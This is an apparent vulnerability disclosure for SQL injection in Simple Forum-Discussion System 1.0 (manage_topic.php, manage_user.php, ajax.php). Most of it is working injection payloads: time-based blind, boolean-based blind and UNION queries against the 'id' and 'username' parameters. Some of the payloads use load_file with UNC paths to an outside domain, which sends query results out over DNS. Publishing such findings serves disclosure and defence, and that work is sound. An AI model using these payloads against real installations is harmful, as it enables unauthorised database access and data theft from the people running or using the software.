Simple Forum-Discussion System 1.0 SQL Injection Vulnerability

## [Simple Forum-Discussion System
1.0](https://www.sourcecodester.com/php/14525/simple-forumdiscussion-system-using-phpmysql-source-code.html)

## [Vendor](https://www.sourcecodester.com/users/tips23)

![](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/Forum-Discussion-System-1.0/docs/forum.png)

## Description:
Multiple SQL-Injections are found on Simple Forum-Discussion System
1.0 For example on three applications which are manage_topic.php,
manage_user.php, and ajax.php. The attacker can be retrieving all
information from the database of this system by using this
vulnerability.


[+]Payloads:

```mysql
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=(select
load_file('\\\\c7kvyxxyc2i5yh8l3p6byhxtxk3drff6hu8hy5n.nu11secur1tyPenetrationTestingEngineer.net\\nix'))
AND (SELECT 4985 FROM (SELECT(SLEEP(5)))Eggb)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=(select
load_file('\\\\c7kvyxxyc2i5yh8l3p6byhxtxk3drff6hu8hy5n.nu11secur1tyPenetrationTestingEngineer.net\\nix'))
UNION ALL SELECT
NULL,NULL,CONCAT(0x7162627871,0x564c7a5164475979514c4879487159576946726147756c7746504d696a5a6c6554547345776f4d61,0x716a7a7171),NULL,NULL,NULL--
-
```


```mysql
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=135628119 or 8604=08604 AND 5328=5328&mtype=own

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=135628119 or 8604=08604 AND (SELECT 6263 FROM
(SELECT(SLEEP(5)))lewZ)&mtype=own

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: id=-6332 UNION ALL SELECT
CONCAT(0x7176766b71,0x4b717847474f67485458796b544c50486c656e637779445a6c506b63756d564a544f665364557772,0x7171707871),NULL,NULL,NULL,NULL--
-&mtype=own
```


```mysql
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=GnxaCRMw'+(select
load_file('\\\\p2s8tasb7fditu3yy21otus6sxyqmjg77av2is6h.nu11secur1tyPenetrationTestingEngineer.net\\fnu'))+''
AND (SELECT 1271 FROM (SELECT(SLEEP(5)))MBvz) AND
'eIbF'='eIbF&password=t4F!v8o!H8
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/Forum-Discussion-System-1.0)

## Proof and Exploit:
[href](https://streamable.com/439w8c)